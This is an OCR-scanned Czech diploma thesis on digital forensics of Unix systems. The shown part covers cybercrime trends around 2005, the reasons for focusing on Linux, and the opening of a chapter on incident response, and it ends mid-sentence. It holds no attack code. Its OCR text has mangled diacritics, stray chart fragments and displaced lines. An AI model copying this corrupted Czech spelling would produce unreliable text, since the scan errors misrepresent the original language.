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Anotace

Diplomova prace "Forenzni analyza unixovych systémuii" analyzuje sou-
casné moznosti forenzni analyzy se zamérenim na unixové systémy. Prace
je rozdélena do nékolika zakladnich casti, kde postupné popisuje obecné
aspekty reakce na incidenty a aspekty forenzni analyzy digitalnich dat,
pres popis a demonstraci forenznich technik unixového systému az k
seznameni se s komplexnimi softwarovymi reSenimi pro forenzni vyset-
rovani. Je zde Siroce popsana situace v oblasti informacni bezpecnosti,
forenzni analyzy digitalnich dat a jejich vzajemné souvislosti. Prace je
strukturovana tak, Ze miiZe slouzit i jako prirucka forenzniho vysetrova-
tele nebo osoby, ktera forenzni vySetrovani unixového systému provadi.
Prace nezapomina ani na zhodnoceni ekonomického hlediska a dulezi-
tych skutecnosti tykajicich se popisované problematiky, které souviseji
s managementem organizace. Pro spravné pochopeni popisované proble-
matiky je nutna dobra znalost administrace nékterého systému z rodiny
Unixt - napr. GNU/Linuxu. Ke spravnému pochopeni problematiky mtize
prispét i dobra orientace v oblasti bezpecnosti IS/ICT.

Annotation

The diploma thesis "Digital Forensics of Unix Systems" deals with current
possibilities of Unix forensics. The work is divided to several parts, which
concern general aspects of incident response and aspects of digital fo-
rensics, description and demonstration of forensic techniques of Unix
system and complex software solutions for forensic investigation. It also
discribes situation in IT security, digital forensics and their interrelation.
The text with its structure can be used as a manual of forensic investiga-
tor or anyone, who carries out an forensic investigation of Unix system.
Management of organisation and economic aspects of the problem has
been dealt with as well. It is necessary to have a good knowledge of ad-
ministration of a system from Unix family - GNU/Linux for example. And
orientation in IS/ICT security to understand the text properly.
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Predmluva

Cilem prace je analyzovat soucasné moznosti forenzni analyzy digitalnich
dat a to predevSim analyzy unixovych systémui. Maji zde byt popsany,
demonstrovany a zhodnoceny postupy a prostredky pro forenzni analyzu
unixovych systému. Prace ma postihovat jak analyzu pomoci nativnich
aplikaci, na kterych budou objasnény zakladni principy, tak zde maji
byt zminéné komercni aplikace pro komplexni analyzu. Prace ma dale
objasnit aktualni situaci v oblasti informacni bezpecnosti a kyberzlocinu
s prihlédnutim na ekonomické aspekty celé problematiky.



Kapitola 1
Uvod

Pocitace, digitalni média a zarizeni v mnoha ruznych podobach sehravaji
hlavni roli v rapidnim nartastu kriminalnich ¢int po celém svété. Témto
zarizenim se v dnesni dobé prakticky nevyhneme a asi si i tézko pred-
stavime Zivot bez jejich asistence - at’ uz jde o sféru védeckou, komercni
nebo jen o domaci osobni pocitac. Zprostredkovavaji mnoho forem komu-
nikace, provadi vypocty vseho druhu nebo proste jen slouzi k zabave.

Jejich vysoka dostupnost zapricinila zarazeni téchto pristroju mezi
bézné soucasti naseho kazdodenniho zivota a staly se nastroji naseho
denniho uzivani (ackoli si to nékdy ani neuvédomujeme). Osobni poci-
tace, mainframy, PDA zafizeni, mobilni telefony, USB flash disky, digi-
talni prehravace vseho druhu, atd., jsou vSe formy, kterych tato zarizeni
dosahuji. Postupem ¢asu budou ptivodni zarizeni, postupy a zvyky zcela
nahrazeny témito digitalnimi formami.

A prave stoupajici dostupnost a béznost jsou hlavnimi dtvody, proc
se tato zarizeni stavaji tercem a nastrojem zlocinu. Napr. v roce 2005 se
podle analytického domu Gartner prodalo asi 200 miliont osobnich poci-
tacu. To je nartst o 17,2 procenta ve srovnani s rokem predchazejicim.
Proto bylo nutné tento nezastavitelny trend nasledovat a vytvorit védu
(resp. metody), ktera by toto prostredi pocitacu, siti a obecné digitalnich
dat zkoumala.

Kdyz dojde k vrazdé nebo vloupani, budou lidé zainteresovani v ta-
kovém pripadu (policie nebo jiné opravnéné slozky) zkoumat a ohledavat
misto ¢inu za ucelem rekonstrukce dané udalosti, sbéru dukazu a na-
lezeni vinikt. Prostredkem tohoto sbéru informaci bude napriklad foto-
grafovani mista ¢inu, snimani otiskt prstd, sbér genetického materialu a
shromazdovani dakazu.
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Obecné lze rici, Ze tato rekonstrukce probiha obdobné i v pripadech,
kde je potreba zkoumat pocitace a jina digitalni zarizeni ¢i pouze data. A
to je presné prace pro forenzni analyzu digitalnich dat nebo jinak pocita-
covou forenzni analyzu (angl. digital forensics nebo computer forensics).

Samozrejmeé, ze mezi oblasti skutecnosti a oblasti digitalniho prostredi
jsou jisté rozdily. Digitalni data jsou napf. velmi nachylna ke zméné -
tzn. jsou velmi nestala. Tomu pak musi byt prizptisobeno nakladani s
takovymi daty, at uz se jedna o samotny sbér, uchovani nebo transport.
Takovy sbér diikazti muze byt velmi casoveé narocny a to predevsSim v za-
vislosti na mnozstvi zkoumanych dat. Ovsem zase rekonstrukce udalosti
neni zpravidla narocna na fyzicky prostor, takze lze takovou rekonstrukci
provést napriklad primo v soudni sini.

Jesté nez zadefinuji a priblizim samotny pojem pocitacové forenzni
analyzy, zminim se lehce o trendech na poli kyberzlocinu (angl. cyber-
crime) a informacni bezpecnosti, coz jsou témata, ktera s pocitacovou fo-
renzni analyzou velmi uzce souviseji. A protoZe tato prace rozebira fo-
renzni analyzu unixovych systému, predstavim rodinu operacnich sys-
témt Unix a pro¢ ma vyznam se jimi zabyvat.

1.1 Informacni bezpecnost a kyberzloc¢in

Prace [19] rika, ze obor informacni nebo také pocitacové bezpecnosti,
v posledni dobé diskutovany v mnoha padech, se zabyva ochranou dat
nebo jinych hodnot pred neopravnénym pristupem. Co myslime témi ji-
nymi hodnotami? Muze to byt napriklad vypocetni vykon pocitace, dis-
kovy prostor nebo pasmo internetového pripojeni.

Pod pojmem Kkyberzlocin se skryvaji zlociny, které se odehravaji ve vir-
tualnim prostoru pocitact a pocitacovych siti. Doc. Ing. Vaclav Jirovsky
CSc. z katedry softwarového inzenyrstvi MFF UK de facto zavedl pro
cybercrime cesky pojem kybernalita, coz je vlastné sloZzenina vyrazu "ky-
berneticka kriminalita". Ja vSak budu pouzivat primy preklad terminu
"cybercrime".

Hrozby bezpecnosti IS/ICT (Information Systems/Information and Com-
munications Technology) jiZ dnes dosahuji vSech moznych rozmeért a fo-

IMatematicko-fyzikalni fakulta Univerzity Karlovy v Praze
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rem jako napr. phishing a pharming ttoky, spyware, trojské kone, cervy
masivné rozesilajici nevyzadanou postu (tzv. spam), rootkity a mnoha dal-
Sich podob jako napt. komplexni utoky kombinujici vice z téchto hrozeb.
Kazdy den jsou firemni i pocitace v domacnostech na celém svété pripo-
jené do Internetu ohrozovani témito hrozbami. Nejdulezitéjsi je vSak mo-
tiv, kterym se liSi utocnici minulosti a soucasnosti. Zatimco dfive utoc-
nici napadali webové stranky firem, aby dokazali hackerské komunite
své schopnosti, nebo to délali jako jakysi vyraz bojkotu a zviditelnéni,
soucasny trend je takovy, ze hlavnim motivem utocniku je penézni obo-
haceni! Udalosti posledniho roku mluvi sami za sebe.

Phishing utok na ¢tyti banky - blize viz [37]. Phishing je aktualni celo-
svetovy problém. Zaklad této techniky tkvi v tom, Ze je vytvorena davery-
hodna napodobenina webové stranky vétSinou néjaké financni instituce
(napr. banky) nebo finan¢niho zprostredkovatele (napr. sluzby PayPal)
a zneuzitim chyby v internetovém prohlizeci (neni podminkou) je uziva-
tel oklaman a donucen k zadani svych pristupovych udaji do podvodné
webové stranky. Tyto informace pak konci v rukou utocnika, ktery je
muze zneuzit napt. k nelegalnimu ziskani financ¢nich prostredkt daného
uzivatele.

Dalsi velmi zavazny pripad se tykal zcizeni informaci o 40 milionech
kreditnich kartach - 22 miliént karet VISA, 13.9 karet MasterCard a nék-
teré dalsi - viz zprava MasterCard InternationalP] Na viné byla firma Card-
Systems Solutions, zpracovavajici data pro MasterCard. Uto¢nik umistil
v siti této firmy program, ktery zaznamenaval udaje ze zpracovavanych
kreditnich transakci - viz [13]. Firma CardSystems Solutions nesplno-
vala bezpecnosti pravidla, ktera stanovila MasterCard. Uto¢nik mél k dis-
pozici jména, Cisla ucta a verifikacni kody, coz jsou postacujici informace
k tomu, aby bylo mozné z téchto ucta cerpat financni hotovost. Vzapéti
bylo mozné na ruskych webovych strankach tato data z ukradenych ka-
ret koupit a také se objevily prvni stiznosti klientt bank - viz [7].

K dalsimu uniku dat o rozméru pres 676 000 bankovnich ucta doslo v
USA, kdy zameéstnanci banky pomoci snimani obrazovky ziskavali data o
klientech - viz [40]. V Indii bylo zase mozné koupit informace o klientech
bank Velké Britanie a to v radech tisicu - viz [24].

2http://www.mastercardinternational.com/cgi-bin/newsroom.cgi?id=1038
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Dalsi pripad se stal v lednu roku 2006, kdy utocnici, udajné ruského
puvodu, zcizili pres 1 milion Euro z kont francouzské banky pomoci viru,
ktery obsahoval keylogger (program zaznamenavajici stisky klaves) [12].

Dalsim fenoménem dneska jsou tzv. botnety’] Bot vzniklo z terminu
roboﬁ, coZ jsou v nasem pojeti programy, které dokazi autonomné re-
agovat na konkrétni udalosti - predstavme si napf. IRC bota eggdrop.
Botnet je soubor pocitact, kde kazdy jednotlivy pocitac ovlada jeden bot.
Tak vznika komplexni struktura botnet - v tomto pripadé nékdy nazyvan
zombienet popisovany napr. v ¢lanku [4]. Dnesni botnety jsou tvoreny i
nékolika tisici pocitaci z celého svéta. VétSina uzivatelti o tom, Ze jejich
pocitat ovlada bot, samozrejmeé ani nevi. K infiltraci mtze dojit pres mnoz-
stvi bezpecnostnich slabin a nedostatkt, které jsou kazdodenné odhalo-
vany. Takovy botnet ¢i zombienet 1ze pak pouzit napf. k zasilani nevyza-
dané posty (spamu), distribuovanym denial-of-service tiitoktim, kradezim
identit a osobnich udajt, lamani Sifrovanych hesel, kdy je distribuované
vyuzivan vypocetni vykon vSech pocitact v botnetu, ¢imz se takové prola-
movani Sifrovanych hesel velmi zefektivinuje, apod. Néktera dalsi vyuziti
Ize vycist z [38]. Vyskytly se také pripady vydirani, kdy atoc¢nici vyhrozo-
vali zahlcenim urcitého serveru. Subjekty jako napr. online kasina casto
radeji zaplatila, nez aby riskovala ztraty plynouci z nedostupnosti jejich
sluzeb. Véci dosly tak daleko, ze takovy botnet si 1ze jiz dnes i pronajmout.

Mezi dalsi udalosti dokazujici, Ze hlavnim motivem dnesnich utoku je
profit, by jesté mohlo byt zafazeno napr. nabourani bankovniho systému
tak, ze umoznil vybér hotovosti z bankomatu bez odectu z uctu - po-
drobnosti v [26]. Podle nékterych zdrojii dosahuji naklady za internetové
zloCiny na celém sveté sumy 200 bilionu liber sterlingu - viz [33].

Kazdy rok bezpecnostni analytici informuji o tom, Ze posledni rok byl
z pohledu informacni bezpecnosti ten nejhorsi a Ze internetova apokaly-
psa prijde kazdou chvili. Ale skute¢né rok 2005 byl, co do poctu zneuziti
uzivateld, vyskytu chyb a hrozeb, velmi vyjimecny. Kazdy tyden bylo obje-
veno prumeérné 40 novych bezpecnostnich chyb. Internet je doslova pro-
zrany malwaren{’|a viry (v roce 2005 byl rozsiteny vir Zafi.D a mnoho vari-
ant viru Zotob), zneuzivajici predevsim uzivatelova osobni data. To ma za
nasledek, ze lidé se zaCinaji obavat napr. nakupovani v online obchodech

SHlubsi popis botnetti na http://www.honeynet.org/papers/bots/
4Nikoliv vSak ten robot, kterého popsal Karel Capek.
SMalicious Software
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(e-shopech) nebo poskytovat jakékoliv osobni informace online. Botnety
jsou velmi rozsahlé - projekt Honeynet (http: //www.honeynet.org) odhalil
vice nez sto podobnych siti ¢itajicich pres 226 000 infikovanych pocitact.

Uzivatele jsou ¢im dal vice ohrozovani tzv. rootkity, coz jsou programy,
které se usidli v operacnim systému a to tak, ze je 1ze jen obtizné deteko-
vat - podrobng¢ji v [3]. Takovy program muize skryté napr. zaznamenavat
stisky klaves, odchytavat pristupové informace, posilat data utocnikovi
po siti, apod. Aféra s rootkitem postihla i firmu Sony, ktera timto zptiso-
bem kontrolovala sva CD média [34].

Ohrozeni nestala pouze na strané uzivatele, ale jedna velka bezpec-
nosti aféra postihla i firmu Cisco, ktera je znama svymi sitovymi pro-
dukty. Michael Lynn, vyzkumny pracovnik firmy Internet Security Sys-
tems, zverejnil na konferenci Black Hat v Las Vegas zavaznou bezpecnosti
slabinu v Cisco’s 105

Pro lepsi predstavu o déni v oblasti bezpecnosti ICT uvedu, zZe podle
studie RSA(R) Conference se nejvice diskutovanymi tématy v meédiich
stala:

[u—

bezpecnost dat/bezpecnostni priniky (24%)
malware (19%)

kradeze identit/soukromi (13%)

legislativa (11%)

slabiny a bezpecnostni trhliny (119%)

kontrola sitového pristupu/ID management (10%)
nejvyhodnéjsi postupy (tzv. best practises)(6%)

bezpecnost bezdratové technologie (4%)

© ©® N o O & L N

hacking (2%)

Je zde rozdil v pohledu byznys medii a IT médii. V zasadé se vSak sta-
tistiky shoduji v tom, Ze bezpecnost dat, bezpecnostni priniky a malware
jsou nejvice diskutovanymi tématy obecneé.

6Cisco Internetwork Operating System
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Na nasledujicim grafu (obr. 1.1) Ize vidét procentualni rozlozeni vyuziti
jednotlivych bezpecnostnich nastroju.

ooy 2000 T o oo S

Other 2.3
Biometrics 4
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Antivirus Software 98.2
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Obrazek 1.1: Vyuziti bezp. nastroji - zdroj: 2005 FBI Computer Crime
Survey.

Nasledujici graf (obr. 1.2) zase kvantifikuje, z jakych statti se utoky

Dulezité je také zamyslet se nad tim, jaky vyvoj lze ocekavat v roce
2006 a vuabec blizké budoucnosti. S tim jak se vyvijeji sofistikovanéjsi bez-
pecnostni systémy, lze predikovat nartist komplexnich a inovac¢nich hro-
zeb. S rozsirovanim VoIP (Voice over Internet Protocol) se ocekava napr.
prichod hlasového spamu. Dale se ocekava narust vira pro inteligentni
mobilni telefony, pres které mtiZze vést cesta k pristupu dat na laptopech
¢i jinych zarizenich. Predpoklada se téz rozsireni viru zneuzivajici slabiny
v zarizenich uzivajicich bezdratové technologie (tzv. wireless technologie).
Zminéné hrozby jako spyware, malware, phishing, pharming, atd. se bu-
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Obrazek 1.2: Ptivod utokt - zdroj: 2005 FBI Computer Crime Survey

dou dale rozvijet a prizpasobovat prosti‘edﬂ

Pri tomto vyvoji je zfejmé, zZe trhy s produkty pro bezpecnost siti ros-
tou. V rozmezi let 2004 az 2008 se podle zavéru studie Infonetics Re-
search’s tento narust predpoklada na 15 procent - viz [17]. Nejvétsi podil
prijmu ze sitovych bezpecnostnich zarizeni a softwaru spada firmeé Cisco.
Druhou pricku zaujima firma Check Point nasledovana spolec¢nosti Juni-
per. Dalsimi hraci delicim se o tyto prijmy jsou Enterasys, ISS, McAfee,
Nokia, Nortel, SonicWall a Symantec. Nejvyznamnéjsi procento z téchto
trzeb tvori firewally a VPN (Virtual Private Network) (78 procent). IDS (In-
trusion Detection System) a IPS (Intrusion Prevention System) ukrajuji
14 procent a sitové antivirové programy 8 procent.

hledani a odstranovani bezpecnostnich trhlin ven. Problém dnesniho bez-

Tviz http://www.redherring.com/Article.aspx?a=15013&hed=Top+Security+Trends+
for+2006&sector
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pecnostniho softwaru je v tom, Ze je priliS reakcni (ve smyslu zpatec-
nicky), coz je pricinou toho, ze utocnici jsou stale o krok napred. Abych
to presnéji objasnil. Pokud si vezmu napt. IDS nebo antivirus a podivam
se, jak takovy software funguje, zjistim, Ze obsahuje databazi charakte-
ristik jednotlivych znamych utokua ¢i vird, kterou vyuziva k odhalovani
prunikt na zakladé konfrontace napr. aktualniho déni na siti s touto da-
tabazi. To neznamena nic jiného, nez fakt, Ze objeveni chyby predchazi
jejimu pridani do takové databaze. V praxi to vypada tak, ze utocnik
objevi chybu, zneuzije ji a az poté je tato chyba pridana do databaze.
Bezpecnostni program je pak schopen takovy utok odhalit a popf. mu i
zabranit. Doba mezi nalezenim chyby a jejim implementovanim do soft-
warového vybaveni IDS, antivirt, apod. je vSak kriticka a miZe znamenat
pohromu, o cemz jsme se jiz presvedcil (a nejen ja) nékolikrat v minulosti.

Pokud chceme tuto praxi zménit, znamena to zasadn¢jsi fundamen-
talni koncep¢ni zménu. Je potreba odhalovat utoky nezavisle na tom,
zdali se dany konkrétni utok jiz objevil nebo ne. Toto nam jistym zpti-
sobem umoznuji IPS (Intrusion Protection Systems) popsané napr. v [30]
nebo [18]. Takovy systém rozhoduje na zakladé monitorovani bézného
chovani systému (zaznamenavanim jeho stavli po ekvidistantnich inter-
valech), ve kterém hleda jisté anomalie v chovani (na zakladé vybranych
atributi operacniho systému), které by mohly determinovat napr. pokus
o prunik.

Dalsi zménou by mohlo byt zavedeni systému vcasného varovani, ktery
by mohl varovat vzdalené€jsi subjekty v kybernetickém prostoru o pro-
bihajicim utoku - napr. rozsSirujici se pocitacovy virus. Podobny systém
vcasného varovani proti internetovym utoktim jiZ implementovala napf.
firma Symante(ﬂ Ovsem popis technik vedoucich k vyssi bezpecnosti ICT
systému neni cilem této prace, proto jej nebudu dale rozvijet.

Je zfejmé, Ze se jedna o problematiku velmi zavaznou a to i v pripade,
ze lidé primo do styku s pocitaci neprichazeji. V dnesni dobé je kyberne-
ticka kriminalita organizovana a tézko mtizeme fikat, Ze se nas netyka. A
to z toho duavodu, Ze zasahuje do mnoha sfér nasich zivota - at uz se jedna
o kradeze informaci o kreditnich kartach, porusovani autorskych prav pri
nezakonném Sireni audiovizualnich nahravek (hudby, film1i) nebo tzv. pi-
ratského softwaru nebo porusovani platnych zakonu Sirenim détské por-
nografie. Samozrejmé v mnoha pripadech je na zvazeni, zdali se jedna o

8viz http://www.symantec.com/press/2003/n030212.html
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1. Uvod

trestny ¢in a to vétSinou v zavislosti na jurisdikci, pod kterou dany ¢in
spada. Popis pravnich aspektu tykajicich se kyberprostoru, intelektual-
niho vlastnictvi, apod. by vydaly minimalné na praci stejné dlouhou jako
je tato. Proto se jimi nebudu zabyvat, pokud to nebude vyslovné nutné.

1.2 Proc¢ Unix

Unix je operacni systém puvodné vyvijen mezi léty 1960 a 1970 skupin-
kou zameéstnancti v AT&T Bell Labs. Do dnesni doby tento systém proSel
dlouhym vyvojem a vzniklo mnoho vyvojovych vétvi, které daly za vznik
mnoha variantam tohoto systému - jak komercnim, tak nekomercnim.
Mezi ty starsSi unixové systémy, které se v dnesni dobé¢ jiz tak hojné ne-
pouzivaji patri napr. AIX od IBM, IRIX od SGI a dalsi. Dalsi silnou vyvojo-
vou veétvi jsou systémy BSD (Berkeley Software Distribution), mezi které
spada FreeBSD, OpenBSD a NetBSD. Z vétve BSD rtiznymi cestickami
vznikl systém Solaris od spolecnosti SUN a také MacOS X od spolecnosti
Apple Computer. A posledni, v dnesni dobé asi nejznameéjsSim systémem z
rodiny Unixd je GNU/Linux?} Blizsi evoluci téchto systémti demonstruje
obrazek 1.3.

Ja bych tu vSak nechtél ani tak popisovat historii, jako spiSe uplatnéni
téchto systému v dnesnim svéte a proc tedy ma smysl se témito systémy
zabyvat. Abych mohl problematiku popisovanou v této praci lépe objasnit,
budu vse viceméneé vtahovat na systém GNU/Linux, ¢imz mohu dosah-
nout vetsi konkretizace a zaroven ucelenosti celé prace. DalSim divodem
muze byt také to, Ze Linux je v dnesSni dobé asi nejvice diskutovanym
operacnim systémem hned po Windows spole¢nosti Microsoft. Je stale
na vzestupu v podobé komercnich i nekomercnich distribuci a i ja mam
nejvetsi zkusenosti pravé s nim. Pokud c¢tenar pochopi postupy demon-
strované na Linuxu, mél by analogicky zvladnout tyto postupy uplatnit i
na jinych unixovych variantach.

Dnes muzeme najit Linux snad na vSech moznych zarizenich a hard-
warovych architekturach. Samozrejmosti jsou osobni pocitace, servery,
routery, firewally, apod. Podil linuxovych inteligentnich telefont stale
rostdzdl. Linux dnes najdeme i na riznych digitalnich prehravacich, kame-
rach, hracich konzolach. Samozrejmosti jsou PDA pocitace. Linux ovlada

9Bézné oznacovan jen terminem Linux.
10vyiz http:// www.mobilemag.com/content/100/344/C5138/
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dokonce i néktera vojenska vozidla a roboty. Pohani také ctyri z péti zve-
rejnénych, svétové nejvykonnéjsich poéitaéﬁm Novinkami ze svéta Linu-
xem pohanénych zarizeni se zabyva portal LinuxDevices.com.

Tento systém je plnohodnotny a konkurence schopny. Dokaze se pro-
sadit v leckterych oblastech. Napriklad ja ho pouzivam i na pracovni sta-
nici, coz neni tak uplné typické. Ale diky své stabilité, vysoké konfigu-
rovatelnosti, nizké hardwarové narocnosti a dalsim vlastnostem, kterymi
jiné systémy nedisponuji, je pro mé prace na operacnim systému Linux
velmi efektivni.

To je také dtivod, pro¢ ho pouziva nebo se na néj rozhodlo migrovat
mnoho firem, instituci z riznych sfér. Na Linux se rozhodl prejit napri-
klad stavebni gigant Skanska, Fiat Auto, Irska burza cennych papirt,

Uyiz http://www.top500.org/lists/2005/11 /basic
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1. Uvod

eBay, Ceské drahy nebo Ceska posta. Migrovat na Linux zaéinaji i nék-
teré statni organy a instituce - napr. Svycarska vlada, méstské urady ve
Vidni, urady v Parizi. Ve Skolstvi se také objevily tendence v nasazovani
Linuxu a to napr. v Makedonii, dale takeé v Italii nebo Velké Britanii. Hojné
se tento systém uziva ve védecké sfére, napr. v agenture NASA.

Takovychto prikladt bych jiZ v dnesni dobé mohl uvést nespocet. Open
Source davno neni jen software vyvijeny programatory ve svém volném
case. Velké firmy jako IBM, Oracle, Sun Microsystems, Google, Red Hat,
Hawlett Packard, Palm ¢i Motorola investuji do tohoto systému milionové
castky. Uz néjakou dobu dé€la vrasky i samotnému Microsoftu, pro ktery
je Linux velkou hrozbou predevsim na poli serveru.

Nyni by mély byt znami vSechny udalosti, tendence ¢i trendy, které
davaji této praci a problematice v ni popisované, smysl.

11



Kapitola 2

Reakce na incidenty

Incident je udalost, ktera méni planovany chod, funkci nebo vyznam sys-
tému. I kdyz dany incident nemusi primo narusovat chod takového sys-
tému. Pokud napriklad dojde k pruniku do néjakého systému, nezna-
mena to vyhradné naruseni chodu. Ale je zfejmé, Ze je to néco, co by se
stat nemélo, co se vymyka béZnému uzivani a tudiz se jedna o incident.
Z pravni stranky muzZe byt takovy incident klasifikovan rtiznée. Tyto inci-
denty lze charakterizovat svou intenzitou, dobou trvani a mirou omezeni
vypocetnich prostredku.

Reakci na incident v této praci zminuji z toho divodu, Ze se jedna o
jakysi komplexni souhrn akci, kde jedna z akci je pravé forenzni ana-
lyza digitalnich dat. Jedna se tedy o celek forenzni analyze nadrazeny.
Nebudu se zabyvat priliSnymi podrobnostmi, protoze konkrétné analyza
reakce na incidenty neni cilem této prace. Ale alespon ramcoveé je nutné
si tento termin popsat, abychom byli schopni samotnou forenzni analyzu
zaradit.

RUzné organizace vydavaji manualy, kterymi by se méla organizace pri
reakci na incidenty ridit. Vétsinou jsou to dokumenty urcené pro pouziti
ve vlastni organizaci nebo jako doporuceni metodologie i jinym organiza-
cim. Prikladem muze byt First Responder’s Manual, ktery vydala labora-
tor pocitacové forenzni analyzy amerického ministerstva pro energii (U.S.
Department od Energy). Zajimava je téz metodika vysSetrovani FBI (Fede-
ral Bureau of Investigation) pri vySetrovani pocitacovych zloc¢inti. Docist
se o ni Ize v élanku How the FBI Investigates Computer Crimd'}, ktery vy-
dalo koordinac¢ni centrum CERT® (http://www.cert.org). OvSem jen malo

Thttp:/ /www.cert.org/tech_tips/FBI_investigates_crime.html
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2. Reakce na incidenty

z téchto dokumentt se reakci na incidenty zabyva kompletné od zacatku
az do konce. VétSinou zacinaji v misté, kdy jiz incident nastal. Vice o
téchto dokumentech a standardech se 1ze docist dale v této praci.

Chris Prosise a Kevin Mandia [32] popisuji metodologii reakce na inci-
denty jako posloupnost téchto krok:

* Priprava na incident

* Detekce incidentu

* Pocatecni reakce

¢ Formulace strategie reakce na incidenty
* Forenzni duplikace kritickych dat

¢ Patrani

* Implementace bezpecnostnich opatreni
® Monitorovani sité

* Obnova

* Protokolovani

¢ Pouceni

V zasadé s témito kroky nelze jinak nez souhlasit. OvSem casto je po-
treba se ridit individualnim pristupem. DodrzZovani téchto postuptt muze
byt pro organizaci velmi narocné jak z hlediska casovych prostredku, tak
z hlediska finan¢nich prosti‘edk. Proto organizace neni vzdy schopna
se tohoto scénare drzet doslova. Jindy mohou branit dodrzeni postupu
technické bariéry nebo pravni bariéry.

Priprava na incident a jeho detekce

Nékteré incidenty lze detekovat jasné - uzivatelé si zacnou stézovat na
nedostupnost sluzby, chybi soubory, apod. Takového neobvyklého cho-
vani si lze vSimnout. Pokud ovsem chcete kvalitné detekovat incidenty, je
potreba se na né pripravit. Nékteré incidenty mohou byt tak nenapadné,

20 ekonomickém hledisku podrobnéji v kapitole 7 "Ekonomické aspekty".
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2. Reakce na incidenty

Ze je svym béznym pusobenim v systému nezpozorujete - narusitel pro-
nikne do systému, odcizi data, mtze si jeSté zajistit cestu do systému pro
pozdéjsi pristup a "odejde". Pokud nejste na takovy incident dostatecné
pripraveni, viubec ho nemusite detekovat. Pokud ho detekujete, bude to
nejspise jen otazkou nahody.

Pokud jsme zodpovédni za bezpecnost informacnich systémt, musime
pocitat s tim, Ze k néjakému incidentu drive nebo pozdéji dojde. Takze
tak jako se starame o samotnou bezpecnost systému, bychom meéli da-
vat pozornost pripravé na bezpecnostni incident. Je nutné zvazit, které
casti systému jsou nejvice ohrozeny a udélat takové upravy a stanovit
takové postupy, aby reakce na incident méla hladky prabéh. Mizeme to
prirovnat k domu, coz je obrazné preneseno nas systém. Pozarni bezpec-
nost domu je tvorena napf. nehoflavou izolaci elektroinstalace. Upravami
a nastroji reakce na incident jsou pak pozarni hlasice, pozarni pristroje
nebo pozarni schodisté. Postup, jakym se ubirat pri incidentu, pak pred-
stavuji pozarni smeérnice.

Nebudu se v této praci zabyvat samotnym sestavovanim bezpecnostni
politiky a vibec ochranou pocitact, systému nebo sité, ale pouze cin-
nostmi, které se primo tykaji reakce na incident. Priprava na takovy
incident vypada v praxi tak, Ze jsou urcitym zptisobem zkonfigurovany
vSechny pocitace, popr. komplexné cela sit. Na vSech systémech jsou vy-
tvoreny databaze s kontrolnimi soucty vSech soubort pro pozdéjsi kon-
trolu integrity systému (tyto soucty mohou byt uchovany centralne, aby
nemohlo dojit k jejich modifikaci na jednotlivych systémech). Dale je ak-
tivovana napr. sluzba pro logovani systému. Zaznamy z tohoto systému
mohou byt opét shromazdovany centralné. Muiize byt nainstalovan i HIDS
(Host Intrusion Detection System). Konfigurace spociva predevsim v in-
stalaci firewallt, proxy, IDS, IPS a jinych monitorovacich nastroja. To vSe
by mélo byt v infrastrukture postaveno tak, aby bylo snadno zjistitelné,
co se vlastné stalo, co nebo kdo incident zptisobil, popr. které pocitace
jsou postizeny.

Pocatecni reakce

Na samotny incident mtiZe organizace reagovat riiznymi zpusoby. A to na-
priklad ignorovanim incidentu, sbérem informaci o ptiivodu utoku (nebo
utocnika), zabranénim v pokracovani tohoto utoku, atd. To jaky postup
zvoli zalezi na mnoha faktorech - v klasické firmeé to bude predevsim do-
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2. Reakce na incidenty

pad incidentu na cinnost organizace, popr. pravni stranka véci a nebo
také technické prostredky, které jsou k dispozici. Duvody firmy pro zvo-
leni reakce mohou byt ¢asto rizné a rozhodné nemuseji byt podobné mo-
delu, kdy dojde k odhaleni, dopadeni a potrestani utocnika nebo clovéka
zodpoveédného. Firmy mohou hajit napriklad reputaci firmy a nepreji si,
aby se vibec o néjakém bezpecnostnim incidentu nékdo dozveédel. Ne-
touzi po takovéto popularité a nejradsi by, aby se vSe v tichosti vyresilo.
Optimalni je provést analyzu incidentu, nalézt jeho pi‘iéinuﬁ, technickymi
prostredky zabranit v dalsim pokracovani utoku a pokud je to mozné, tak
odhalit titocnika. A tohoto modelu se budu drzet.

Rozhodnuti, ktera vysetrovatel udéla se lisi pripad od pripadu a zalezi
na okolnostech, které incident doprovazeji. Takze rozhodnuti by se méla
lisit na zaklade toho, jak citlivé jsou informace, které jsou chranény, jaké
ztraty ¢i vypadky muizeme tolerovat, kdo je potencionalnim utoc¢nikem,
zda o incidentu vi verejnost, apod. Asi nebude v silach napadené organi-
zace napriklad hledat autora viru, ktery napadl firemni pocitace. Od toho
jsou tu jiné investigativni slozky, které zase provadi svoji forenzni ana-
lyzu.

Samotné akce v reakcich na incidenty, které se tykaji technickych i
dalsich aspektt, by mel resit vySkoleny personal, ktery vlastné tvori ta-
kovy tym reakce na incidenty. Tento tym ma na starosti veskeré vyset-
rovani, vyresSeni bezpecnostnich incidentti, urceni Skod, sbér dukazi a
dalsi kroky ve forenzni analyze digitalnich dat - jako napriklad poskyto-
vat managementu fundovana doporuceni tykajici se incidentu.

Vsechny kroky reakce i samotna priprava na incident musi byt konzul-
tovana s pravniky, aby se organizace nedostala do problému se zakonem
- napriklad pro narusovani soukromi svych zameéstnancti. Ne vSechny
informace mohou byt prohlizeny treba i osobou povérenou bezpecnosti.
Nékdy je potreba mit povéreni, povoleni nebo soudni prikaz. Néekdy museji
byt informace monitorovany takovym zptisobem, aby byla zachovana pod-
stata, proc¢ je monitorujeme, ale také, aby bylo zachovano pravo na sou-
kromi - ¢asto to znamena, Ze k informacim nesmi mit pristup Zadna osoba
a monitorovaci systém musi byt navrzen tak, aby toto neumoznoval. Muze
se jednat napriklad o sledovani sitového provozu.

3Casto se pouziva vyraz "smoking gun" (v prekladu "koufici zbran").
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2. Reakce na incidenty

Jesté jsem nerekl, ze se samozrejmé musime branit a monitorovat jak
provoz, ktery prichazi z vnéjSku organizace, tak provoz, ktery pochazi z
vnitrku organizace. Ale to by mélo byt samozrejmé ze samotné podstaty
informacni bezpecnosti.

Jak jsem jiz zminil, vSechny kroky postupu reakce na incidenty by
meély byt zaznamenany v bezpecnostni politice - resp. uzivatelské politice.
Tyka se to kroku, které je nutné podniknout po vyskytu incidentu, tak i
samotné pripravy na incident. Dodrzovanim takové politiky bychom méli
docilit vyssi bezpecnosti takové organizace a to nejen z pohledu infor-
macni bezpecnosti (nedostatky v oblasti informacni bezpecnosti se samo-
zrejmeé promitaji i do bezpecnosti organizace jako takové) a také bychom
meli docilit metodologického a tudiz i systematického reSeni incidentu -
identifikovani odpovédnych osob, apod.

Pokud takova politika obsahuje mnoho aspektt, tak je vyhodné ji roz-
